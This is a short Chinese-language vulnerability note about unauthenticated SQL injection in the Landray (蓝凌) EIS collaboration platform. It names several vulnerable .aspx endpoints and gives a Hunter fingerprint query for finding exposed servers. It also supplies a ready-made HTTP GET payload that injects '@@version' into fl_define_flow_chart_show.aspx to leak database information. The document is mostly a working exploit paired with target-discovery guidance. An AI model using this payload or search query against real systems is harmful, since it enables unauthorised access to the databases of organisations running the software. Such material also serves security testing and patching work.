L1-7蓝凌-EIS智慧协同平台-SQL

漏洞描述：

由于蓝凌EIS智慧协同平台 doc_fileedit_word.aspx、frm_form_list_main.aspx、frm_button_func.aspx、fl_define_flow_chart_show.aspx等接口处未对用户输入的SQL语句进行过滤或验证导致出现SQL注入漏洞，未经身份验证的攻击者可以利用此漏洞获取数据库敏感信息。

影响版本：

- 蓝凌-EIS智慧协同平台

网站图片：

网络测绘：

Hunter 语法：

- hunterweb.icon=="585275a4cc54b8414554d03e1359a101"

漏洞复现：

payload：

```
GET /flow/fl_define_flow_chart_show.aspx?id=1%20and%201=@@version--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
```

效果图: